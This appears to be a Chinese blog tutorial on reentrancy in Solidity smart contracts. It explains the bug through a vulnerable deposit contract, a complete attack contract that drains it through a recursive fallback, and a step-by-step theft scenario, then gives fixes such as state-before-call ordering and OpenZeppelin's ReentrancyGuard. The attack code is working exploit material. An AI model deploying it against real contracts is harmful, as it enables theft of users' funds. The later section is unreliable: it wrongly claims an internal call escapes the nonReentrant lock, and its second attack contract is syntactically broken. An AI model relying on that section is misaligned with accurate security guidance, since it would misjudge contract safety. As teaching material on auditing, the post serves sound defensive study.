当前位置: 首页 > news >正文

【区块链安全 | 第三十四篇】合约审计之重入漏洞

文章目录

    • 概念
    • 漏洞代码
    • 代码审计
    • 攻击代码
    • 攻击过程总结
    • 示例
    • 修复建议
    • 审计思路

在这里插入图片描述

概念

以太坊的智能合约可以互相调用,也就是说,一个合约可以调用另一个合约的函数。除了外部账户,合约本身也可以持有以太币并进行转账。当合约接收到以太币时,通常会触发一个叫做 fallback 的函数来执行一些特定的操作。这就是所谓的“隐蔽的外部调用”。

重入漏洞的问题出现在合约的外部调用上,尤其是当目标是一个恶意的合约时。攻击者可能会利用这种外部调用,在被攻击的合约中执行一些恶意逻辑。举个例子,当合约调用恶意合约时,恶意合约可以通过某些方式重新进入被攻击的合约,重复执行一些操作,甚至发起非预期的交易,从而破坏合约的正常逻辑。

换句话说,重入漏洞就是攻击者利用合约间外部调用的机制,在合约中反复进入,造成不希望发生的行为,通常会导致合约的资金被盗取。

漏洞代码

以下为典型的存在重入漏洞的合约代码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;contract EtherStore {mapping(address => uint) public balances;// 存款函数function deposit() public payable {// 增加余额balances[msg.sender] += msg.value;}// 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 再清除余额balances[msg.sender] = 0;}// 查询合约余额function getBalance() public view returns (uint) {return address(this).balance;}
}

不难看出,该 EtherStore 合约是一个充提合约。

代码审计

我们重点关注 withdraw() 函数:

    // 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");// 再清除余额balances[msg.sender] = 0;}

这一段代码执行了转账操作,实现了外部调用:

        // 先发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");

因此我们需要特别关注这里是否存在重入漏洞。

我们可以看到,在 withdraw 函数中,合约是先执行外部调用进行转账,然后才将用户的账户余额清零。那么,我们就可以构造一个恶意合约,在接收到转账时,通过回调函数在 balances[msg.sender] = 0 这一行执行之前,不断递归调用 withdraw 函数重复提现,从而将整个合约的余额逐步提空。

攻击代码

仔细查看代码注释:

contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) { // 构造函数的声明etherStore = EtherStore(_etherStoreAddress);// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量}// 相当于传入受害合约// 当合约收到以太币时,// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,// 就会触发 fallback() 函数// 因此,当 EtherStore 合约向 Attack 合约发送以太币时,这个 fallback() 就会被自动触发// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;// 如果是,就再次调用 etherStore.withdraw();fallback() external payable {if (address(etherStore).balance >= 1 ether) {etherStore.withdraw();}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}(); // 向 EtherStore 合约存入 1 ETH,增加其余额// 从 EtherStore 中提取资金etherStore.withdraw();// 提取到资金后,就会触发本合约的 fallback() }// 辅助函数:查看该合约的余额function getBalance() public view returns (uint) {return address(this).balance;}
}

攻击过程总结

1.攻击者首先调用 attack(),并向 EtherStore 合约发送 1 ETH。

2.然后,Attack 合约将这 1 ETH 存入 EtherStore 合约。

由于在 EtherStore 合约提款时,余额需大于0,因此需提前存入 1 ETH 满足提款条件,进而触发下文的第4点。

3.紧接着,攻击者调用 Attack 合约中的 withdraw(),从 EtherStore 提取资金。

4.EtherStore 合约向 Attack 合约转账,触发 Attack 合约的 fallback() 函数。

5.在 Attack 合约的 fallback() 中,Attack 合约再次调用 withdraw(),重复这个过程,直到 EtherStore 合约的余额被完全提取。

示例

我们假设有三个角色参与本次攻击:

  • 用户 Alice
  • 用户 Bob
  • 攻击者 Eve

整个攻击过程如下。

1.部署 EtherStore 合约。

2.用户 Alice 和用户 Bob 各向 EtherStore 合约充值 1 个以太币。此时合约总余额为 2 ETH。

3.攻击者 Eve 部署 Attack 合约,并在部署时传入 EtherStore 合约地址,完成初始化。

4.Eve 调用 Attack.attack() 函数,向 EtherStore 合约存入 1 个以太币,以建立合法的余额记录;

5.此时 EtherStore 合约中共有 3 ETH,分别来自 Alice、Bob 和 Eve。

6.攻击者调用 EtherStore.withdraw() 提现这 1 ETH。

7.在提现过程中,EtherStore 合约会向 Attack 合约发送 1 ETH,进而触发 Attack 合约的 fallback() 函数。

8.在 fallback() 中,只要 EtherStore 合约余额仍大于等于 1 ETH,Attack 合约就会递归调用 withdraw(),不断重复提现。

9.最终,直到 EtherStore 合约余额低于 1 ETH,攻击循环才会停止。

10.此时:

  • Alice 和 Bob 原本的 2 ETH 已被攻击者转移走;
  • 攻击者 Eve 获得了合约中所有剩余的资金。

修复建议

1.先更新状态,再进行外部调用
我们应避免在修改状态变量之前进行外部调用。因此,我们可以将 balances[msg.sender] = 0; 移动到转账语句之前。

    // 提款函数function withdraw() public {// 提款前,余额需大于0uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");// 先清除余额balances[msg.sender] = 0;// 再发送以太(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");

此时你可能有疑问:“把 balances[msg.sender] = 0; 放在转账前,不就把余额清零了吗?那转账的那一行怎么实现?”

注意:第 1 行我们用 uint bal = balances[msg.sender]; 把用户余额先读出来,赋值给了一个局部变量 bal;即使我们随后把 balances[msg.sender] 设置为 0,不会影响 bal 的值;最后转账时,用的不是 balances[msg.sender],而是我们事先保存下来的 bal,所以不会出问题。

2.使用“重入锁”(Reentrancy Guard)
可以引入互斥锁(mutex)机制,防止函数被递归调用。OpenZeppelin 提供了非常成熟的 ReentrancyGuard 合约。

示例代码如下:

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract EtherStore is ReentrancyGuard {mapping(address => uint) public balances;// 存款函数function deposit() public payable {balances[msg.sender] += msg.value;}// nonReentrant 是 ReentrancyGuard 提供的一个修饰器(modifier)// 一旦 withdraw() 开始执行,就不允许再次进入,直到它执行完毕function withdraw() public nonReentrant {uint bal = balances[msg.sender];require(bal > 0, "Insufficient balance");balances[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: bal}("");require(sent, "Failed to send Ether");}
}

此时你可能又有一个问题:“我已经用了 nonReentrant,那我是不是就可以把转账写在前,清零写在后?”

不行。理由如下:

1.“状态先改,再调用外部合约”,满足 Solidity 安全开发的通用原则:Checks-Effects-Interactions Pattern。

2.你未来可能会在 EtherStore 合约中新增一个“退出合约”或“紧急退款”功能,比如编写了一个 emergencyExit() 函数,内部帮助用户调用 withdraw()。但如果这个函数未加 nonReentrant 修饰器,就可能引发重入风险。示例如下:

function emergencyExit() public {     // emergencyExit() 后忘记加 nonReentrantwithdraw(); // 调用了已经加锁的 withdraw()
}

虽然 withdraw() 本身是有 nonReentrant 修饰器的,但由于它是被合约内部直接调用的(即内部函数调用),不会触发 ReentrancyGuard 的锁机制。因为锁机制依赖的是“重新进入函数”的检测,而这种调用路径仍然沿着原始的调用栈执行,并未重新进入函数上下文。

攻击者只需修改代码如下,即可再次导致重入攻击的发生:

contract Attack {EtherStore public etherStore;constructor(address _etherStoreAddress) { // 构造函数的声明etherStore = EtherStore(_etherStoreAddress);// 把传入的地址 _etherStoreAddress 转换为 EtherStore 类型的合约实例,并赋值给 etherStore 这个变量}// 相当于传入受害合约// 当合约收到以太币时,// 如果没有 receive() 函数,或者调用的数据不匹配任何函数签名,// 就会触发 fallback() 函数// 因此,申请紧急退款时,EtherStore 合约向 Attack 合约发送以太币,这个 fallback() 就会被自动触发// 然后检查 EtherStore 当前余额是否仍然大于等于 1 ETH;// 如果是,就再次调用 emergencyExit()fallback() external payable {if (address(etherStore).balance >= 1 ether) {emergencyExit()}}function attack() external payable {require(msg.value >= 1 ether);etherStore.deposit{value: 1 ether}(); // 向 EtherStore 合约存入 1 ETH,增加其余额// 调用紧急退款,从 EtherStore 提取资金emergencyExit()// 提取到资金后,触发本合约的 fallback() }// 辅助函数:查看该合约的余额function getBalance() public view returns (uint) {return address(this).balance;}
}

审计思路

所有涉及外部合约调用的代码位置都可能存在安全风险。因此,在审计过程中,我们应重点审查这些外部调用的部分,并深入推演可能产生的危害。通过这种方式,我们能够有效判断是否存在重入漏洞的风险,并采取相应的防护措施。

最后要注意:使用 call 函数进行转账容易发生重入攻击,因为 call 是低级函数,call 在执行后会执行目标地址(msg.sender)的 fallback 或 receive 函数,即将控制权交给目标合约。

相关文章:

【区块链安全 | 第三十四篇】合约审计之重入漏洞

文章目录 概念漏洞代码代码审计攻击代码攻击过程总结示例修复建议审计思路 概念 以太坊的智能合约可以互相调用,也就是说,一个合约可以调用另一个合约的函数。除了外部账户,合约本身也可以持有以太币并进行转账。当合约接收到以太币时&#…...

Java虚拟机——JVM(Java Virtual Machine)解析一

1.JVM是什么? 1.1 JVM概念 Java Virtual Machine (JVM) 是JDK的核心组件之一,它使得 Java 程序能够在任何支持 JVM 的设备或操作系统上运行,而无需修改源代码 JDK是什么,JDK和JVM是什么关系?1.Java IDE(Integrated …...

【JVM】question

问题 JVM线程是用户态还是内核态 java线程在jdk1.2之前,是基于名为“绿色线程”的用户线程实现的,这导致绿色线程只能同主线程共享CPU分片,从而无法利用多核CPU的优势。 由于绿色线程和原生线程比起来在使用时有一些限制, jdk1.2…...

页面编辑器CodeMirror初始化不显示行号或文本内容

延迟刷新 本来想延迟100毫秒的,但是会出现样式向左偏移的情况,于是试了试500毫秒,发现就没有问题了,可能是样式什么是需要一个加载过程吧。 useEffect(() > {editorRef.current?.setValue(value || );setTimeout(() > {edi…...

顺序表——C语言实现

目录 一、线性表 二、顺序表 1.实现动态顺序表 SeqList.h SeqList.c Test.c 问题 经验:free 出问题,2种可能性 解决问题 (2)尾删 (3)头插,头删 (4)在 pos 位…...

OpenCV 图形API(21)逐像素操作

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 在OpenCV的G-API模块中,逐像素操作指的是对图像中的每个像素单独进行处理的操作。这些操作可以通过G-API的计算图(Graph …...

车载联网终端4G汽车TBOX介绍定义与概述

汽车 TBOX(Telematics Box)是专为汽车设计的远程通信终端设备,属于车联网系统的关键组成部分。车联网系统一般包含主机、汽车 T - BOX、手机 APP 及后台系统。融合了车身网络和 4G 无线通信技术,为汽车提供丰富的 Telematics 服务…...

CentOS无法安装Vim文本编辑器问题以及解决方法

1.问题一:用户权限不够 解决方法一:切换到root用户 解决方法二:给本用户添加权限 2.问题二:镜像源问题:官方镜像源可能已经失效 解决方法: 1. 检查网络连接 2. 检查和配置 DNS 3. 更换镜像源&#…...

Kettle如何与应用集成

Kettle(Pentaho Data Integration,PDI)可以通过多种方式与应用程序集成,以下是7种主流方法及具体实现示例: 一、命令行调用(最基础) # 执行转换(Transformation) ./pan.…...

Pytorch torch.nn.utils.rnn.pad_sequence 介绍

torch.nn.utils.rnn.pad_sequence 是 PyTorch 中一个用于填充序列的实用函数,它主要用于处理长度不一的序列数据,将这些序列填充到相同的长度,以便能将它们组合成一个批量(batch)输入到神经网络中。以下是详细介绍&…...

4.7正则表达式

1.字符匹配 一般字符匹配自身. 匹配任意字符(换行符\n除外),一个点占一位\转义字符,使其后一个字符改变原来的意思(\.就是.)[......]字符集,对应的位置可以是字符集中的任意字符.字符集中的字符可以逐个列出,也可以给出范围如[abc]或[a-c] [^abc] 表示取反&#xf…...

CogPatInspectTool工具

CogPatInspectTool是康耐视中的一种模板比对的视觉检测工具,主要用于产品不良检测。其核心功能是通过将输入图像与预先训练好的模板进行对比,识别出两者之间的差异,并生成高亮差异图,从而判断产品是否存在缺陷。 效果图 CogPatIn…...

牛客周赛 + 洛谷刷题

秘藏 #include<bits/stdc.h> using namespace std; typedef long long ll; const int N 200010; ll a[N], b[N]; int n, k; ll dp[2][N];//dp[i][j]是在i界中取了j之前的最大值 int main(){ios::sync_with_stdio(false), cin.tie(0), cout.tie(0);cin >> n >&…...

【数据结构】图论存储革新:十字链表双链设计高效解决有向图入度查询难题

十字链表 导读一、邻接表的优缺点二、十字链表2.1 结点结构2.2 原理解释2.2.1 顶点表2.2.2 边结点2.2.3 十字链表 三、存储结构四、算法评价4.1 时间复杂度4.2 空间复杂度 五、优势与劣势5.1 优势5.2 劣势5.3 特点 结语 导读 大家好&#xff0c;很高兴又和大家见面啦&#xff…...

【JavaScript】十五、事件对象与环境对象

文章目录 1、事件对象1.1 获取事件对象1.2 常用属性1.3 案例&#xff1a;回车发布评论 2、环境对象this3、回调函数4、案例&#xff1a;tab切换5、案例&#xff1a;全选文本框&#x1f4d6; 1、事件对象 事件对象&#xff1a; 也是个对象&#xff0c;object&#xff0c;里面存…...

OJ--第N个泰波那契数列

1137. 第 N 个泰波那契数 - 力扣&#xff08;LeetCode&#xff09; 1 题干部分 2 拆解 1 状态表示&#xff1a;dp[i] 2 状态转移方程:dp[i]dp[i-1]dp[i-2]dp[i-3] 3 初始化:让dp[0]0,dp[1]dp[2]1 4 填表顺序:从dp[3]开始填从左往右填 5 返回值&#xff1a;dp[n]即为返回的…...

Python从入门到高手8.1节-元组类型详解

目录 8.1.1 理解元组类型 8.1.2 元组的类型名 8.1.3 元组的定义 8.1.4 元组的解包 8.1.5 元组是可迭代的 8.1.6 假期就这么结束了 8.1.1 理解元组类型 元组与列表有着相同的数据结构&#xff0c;区别在于&#xff0c;元组是不可变的数据类型&#xff0c;而列表是可变的数…...

使用 Qt 和 OBS 工具检测系统硬件编码器支持情况(NVENC、QSV、AMF)

在开发涉及视频处理的软件时,判断系统是否支持硬件加速编码器(如 NVIDIA NVENC、Intel QSV、AMD AMF)对于性能优化至关重要。本文将介绍如何结合 Qt 与 OBS Studio 附带的小工具程序,实现一个完整、异步且不会卡住 UI 的硬件加速检测模块。 一、背景与目标 硬件加速编码器…...

Python爬虫生成CSV文件的完整流程

引言 在当今数据驱动的时代&#xff0c;网络爬虫已成为获取互联网数据的重要工具。Python凭借其丰富的库生态系统和简洁的语法&#xff0c;成为了爬虫开发的首选语言。本文将详细介绍使用Python爬虫从网页抓取数据并生成CSV文件的完整流程&#xff0c;包括环境准备、网页请求、…...

图论:多源最短路

多源最短路 B3647 【模板】Floyd - 洛谷 #include<iostream> #include<cstring> using namespace std;const int N 110; int f[N][N]; int n, m;int main() {memset(f, 0x3f, sizeof(f));//对于重边的处理取较小值&#xff0c;所以要把全部都初始化成无穷大&…...

2024年已备案大模型发展趋势分析

2024年已备案大模型发展趋势分析 随着生成式人工智能技术的快速发展,其在各个领域的应用逐渐深入。为了规范和促进生成式人工智能服务的健康发展,国家互联网信息办公室发布了《生成式人工智能服务已备案信息》。本文将基于已备案信息,分析生成式人工智能服务的发展趋势,并…...

spring功能汇总

1.创建一个dao接口&#xff0c;实现类&#xff1b;service接口&#xff0c;实现类并且service里用new创建对象方式调用dao的方法 2.使用spring分别获取dao和service对象(IOC) 注意 2中的service里面获取dao的对象方式不用new的(DI) 运行测试&#xff1a; 使用1的方式创建servic…...

Transformer - Feed Forward前馈网络

一、数学原理 1. 前馈神经网络公式 2. Dropout公式 二、代码实现 import math import torchimport torch.nn as nnclass FeedForward(nn.Module):def __init__(self, d_model, dff, dropout):super().__init__()self.W1 nn.Linear(d_model, dff)self.W2 nn.Linear(dff, d_mo…...

Compose Multiplatform+Kotlin Multiplatfrom 第五弹跨平台 截图

截图功能 Compose MultiplatformKotlin Multiplatfrom下实现桌面端的截图功能&#xff0c;起码搞了两星期&#xff0c;最后终于做出来了&#xff0c;操作都很流畅&#xff0c;截取的文件大小也正常&#xff0c;可参考支持讨论&#xff01; 功能效果 代码实现 //在jvmMain下创…...

算法题(119):高精度减法

审题&#xff1a; 本题高精度减法主要是要区分正负号&#xff0c;然后进行模拟 思路&#xff1a; 方法一&#xff1a;模拟法 首先本题需要我们利用字符串进行大数相减 第一步&#xff1a;区分s1和s2谁更大 先从数的位数进行判断&#xff0c;然后再从高到低的位数进行判断 第二步…...

使用成员函数指针数组简化C++类中的操作

使用成员函数指针数组简化C类中的操作 在C编程中&#xff0c;我们常常会遇到需要对一组相似的操作进行处理的情况。例如&#xff0c;在一个游戏引擎中&#xff0c;你可能希望角色能够执行一系列的动作&#xff0c;如行走、跳跃或攻击等。为了简化这些操作的管理和调用&#xf…...

WebGL数学手记:矩阵基础

一、矩阵的定义 矩阵&#xff0c;数学术语。在数学中&#xff0c;矩阵&#xff08;Matrix&#xff09;是一个按照长方阵列排列的复数或实数集合。 1.英文发音&#xff08;Matrix&#xff09; Matrix的发音类似于中文的[美吹克斯]&#xff0c;知道它的发音。方便后期看教程时…...

Python爬取数据(二)

一.example2包下的 1.re模块的compile函数使用 import repatternre.compile(r\d) print(pattern) 2.match的方法使用 import re patternre.compile(r\d) # m1pattern.match(one123twothree345four) #参数2&#xff1a;指定起始位置(包含),参数3&#xff1a;终止位置(包含),…...

我的NISP二级之路-01

目录 一.SSE-CMM系统安全工程-能力成熟度模型(Systems Security Engineering - Capability Maturity Model) 二.ISMS 即信息安全管理体系(Information Security Management System),是一种基于风险管理的、系统化的管理体系 三.Kerberos协议 1. 用户登录与 AS 请求 2…...

自制简易 Shell:像搭建积木小屋一样打造命令交互小天地

目录 准备工作&#xff1a;搭建小屋的材料 打造小屋的 “身份牌” 接收指令&#xff1a;小屋的 “对讲机” 拆解指令&#xff1a;把大任务拆成小积木 执行指令&#xff1a;小屋的 “行动队” 特殊指令&#xff1a;小屋的 “特色功能” 小屋的日常运转 完整代码 啥是 …...

WEB安全--内网渗透--利用Net-NTLMv2 Hash

一、前言 在前两篇文章中分析了NTLM协议中Net-NTLMv2 Hash的生成、如何捕获Net-NTLMv2 Hash&#xff0c;现在就来探讨一下在内网环境中&#xff0c;如何利用Net-NTLMv2 Hash进行渗透。 二、Net-NTLM Hash的破解 工具&#xff1a;hashcat 原理&#xff1a;利用其内部的字典对…...

MySQL 数据库操作指南:从数据库创建到数据操作

关键词&#xff1a;MySQL&#xff1b;数据库操作&#xff1b;DDL&#xff1b;DML 一、引言 MySQL 作为广泛应用的关系型数据库管理系统&#xff0c;对于开发人员和数据库管理员而言&#xff0c;熟练掌握其操作至关重要。本文章通过一系列 SQL 示例&#xff0c;详细阐述 MySQL…...

从传递函数到PID控制器

在过程控制中&#xff0c;按偏差的比例&#xff08;P&#xff0c;Proportional&#xff09;、积分&#xff08;I&#xff0c;Integral&#xff09;和微分&#xff08;D&#xff0c;Differential&#xff09;进行控制的PID控制器&#xff08;亦称PID调节器&#xff09;是应用最为…...

抓wifi无线空口包之Ubuntu抓包(二)

一、设置网卡信道和频段&#xff0c;并抓包 1、使用iwconfig查看自己机器的无线网卡名称 wangwang-ThinkCentre-M930t-N000:~$ iwconfig lo no wireless extensions. eno1 no wireless extensions. enxc8a3624ab329 no wireless extensions. wlx90de80d1b5b1 IE…...

使用protobuf编译提示无法打开包括文件: ‘absl/log/absl_log.h’: No such file or directory

问题原因 Protobuf 依赖 Abseil&#xff1a; Protobuf 3.20 版本开始依赖 Abseil&#xff0c;但你的系统未正确安装或配置 Abseil。 头文件路径未包含&#xff1a; 编译器找不到 absl/log/absl_log.h&#xff0c;可能是因为 Abseil 未正确安装或未在项目中设置包含路径。 …...

深入浅出Java 锁 | 源码剖析 | 万字解析

目录 硬件内存结构&Java内存模型 硬件内存结构 Java内存模型&#xff08;JMM&#xff09; JMM中三大特性&#xff1a;原子性、有序性、可见性 Java中有哪些锁&#xff1f; Java中锁可以分成悲观锁和乐观锁的实现。 乐观锁和悲观锁的区别&#xff0c;乐观锁一定好嘛&…...

java流程控制12:流程控制练习

流程控制练习 打印三角型 package com.zheng.struct;public class TestDemo {public static void main(String[] args) {//打印三角形 5行for(int i1;i<5;i){for(int j5;j>i;j--){System.out.print(" ");}for(int j1;j<i;j){System.out.print("*&quo…...

JAVA:ByteBuddy 动态字节码操作库的技术指南

1、简述 ByteBuddy 是一个功能强大的 Java 字节码操作库&#xff0c;可以帮助开发者在运行时动态生成和修改类&#xff0c;而无需直接接触复杂的 ASM API。它被广泛应用于框架开发、AOP&#xff08;面向切面编程&#xff09;、代理类生成、性能监控等领域。 2、ByteBuddy 的优…...

C语言学习记录(13)自定义类型:结构体

一、结构体变量的声明、创建和初始化 1.结构体变量的声明 结构体变量我们学操作符的时候就顺带讲了一点了&#xff0c;因为当时讲了结构体成员变量访问操作符.。 结构体变量不像int、float这种内置类型的&#xff0c;一旦创建&#xff0c;系统就知道这是干啥的&#xff0c;结…...

rtthread 软件SPI驱动, 支持mode0~3,MSB,LSB

rtthread的软件模拟SPI用的上层PIN驱动写&#xff0c;由于经过层层封装&#xff0c;时钟频率并不会太高&#xff0c;200MHz的MCU跑不到1MHz的时钟频率。所以最好是在底层就模拟好&#xff0c;给上层用。 头文件 struct io_poSOFT {gpio_type *port;uint16_t pin; }; typedef …...

C++自学笔记——动态创建对象

动态创建对象 1. 什么是动态创建对象&#xff1f; 在学习之前的知识点时&#xff0c;我们知道有静态存储期和自动存储期。 静态存储期的对象在程序的整个生命周期内都存在&#xff0c;全局变量和static修饰的局部变量都属于这一类。自动存储期的对象&#xff0c;这些对象在函…...

35.[前端开发-JavaScript基础]Day12-for循环中变量-华为商城-商品列表-轮播图

for循环中监听函数中打印变量 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"wi…...

详细描述以太坊的gas、gaslimit、gasPrice

目录 一、Gas 是什么? ✅ 简要定义: 🧠 举例理解: 二、Gas Limit 是什么? ✅ 简要定义: 分两种: 举例说明: 三、Gas Price 是什么? ✅ 简要定义: 为什么它重要? 示例: 四、 EIP-1559 后的新机制(伦敦升级) 三个要素: 五、额外技巧(开发实用) 本文…...

【Java】Maven

一、概念 是一个项目管理和构建工具&#xff0c;它基于项目对象模型&#xff08;POM&#xff09;的概念&#xff0c;通过一小段描述信息来管理项目的构建。 二、Maven坐标 <groupId>com.itheima</groupId><artifactId>maven-project01</artifactId>&…...

PageCache

目录 一、PageCache的具体过程 二、具体实现代码 一、PageCache的具体过程 页缓存主要解决的是内存外碎片问题&#xff0c;并且直接和系统调用打交道。 申请过程如下&#xff1a; 当中心缓存中没有内存时,会去页缓存申请一个span结构,要经过下面几步: &#xff08;1&#xf…...

Vue3实战五、面包屑,收缩菜单,高亮暗黑主题切换,全屏功能实现

目录 面包屑&#xff0c;收缩菜单&#xff0c;黑夜白夜样式,全屏功能实现收缩菜单按钮结合pinia功能实现第一步、定义布局配置的数据类型第二步、创建布局状态管理文件第三步、使用布局配置状态第四步、进行展开/收起左侧菜单逻辑第五步、动态切换左侧菜单宽度样式第六步、动态…...

Linux内核设计——(二)进程调度

目录 一、进程调度简介 二、多任务 三、调度器 3.1 I/O消耗型和处理器消耗型进程 3.2 进程优先级 3.3 CFS算法 3.4 实时调度策略 3.5 SCHED_FIFO 3.6 SCHED_RR 3.7 调度器入口 四、上下文切换 4.1 睡眠和唤醒 4.2 need_resched标志 4.3 用户抢占 4.4 内核抢占 一…...

【C++初阶】--- string类模拟实现

1.基础函数 1.1成员函数 成员函数主要是_str、_size、_capacity这三个。npos是size_t 的最大值,用于当作后续成员函数的参数的缺省值。 class string { private:char* _str nullptr;//指向字符串的指针size_t _size 0;//字符串长度size_t _capacity 0;//空间大小static c…...

Pythia 使用说明

Pythia 是一个由非营利研究组织 EleutherAI 开发的开源语言模型套件&#xff0c;专注于透明性和可复现性。它是为了推动自然语言处理&#xff08;NLP&#xff09;领域的开放研究而设计&#xff0c;尤其在模型训练过程和性能分析方面提供了详尽的文档和数据。 Pythia 的核心特点…...

python:获取某路径下所有图片的名称

可以使用 Python 的 os 模块或者 pathlib 模块来获取指定路径下所有图片的名称。以下是使用这两种方法实现的代码示例&#xff1a; 使用 os 模块 import osdef get_image_names_os(path):image_extensions (.jpg, .jpeg, .png, .gif, .bmp)image_names []for root, dirs, f…...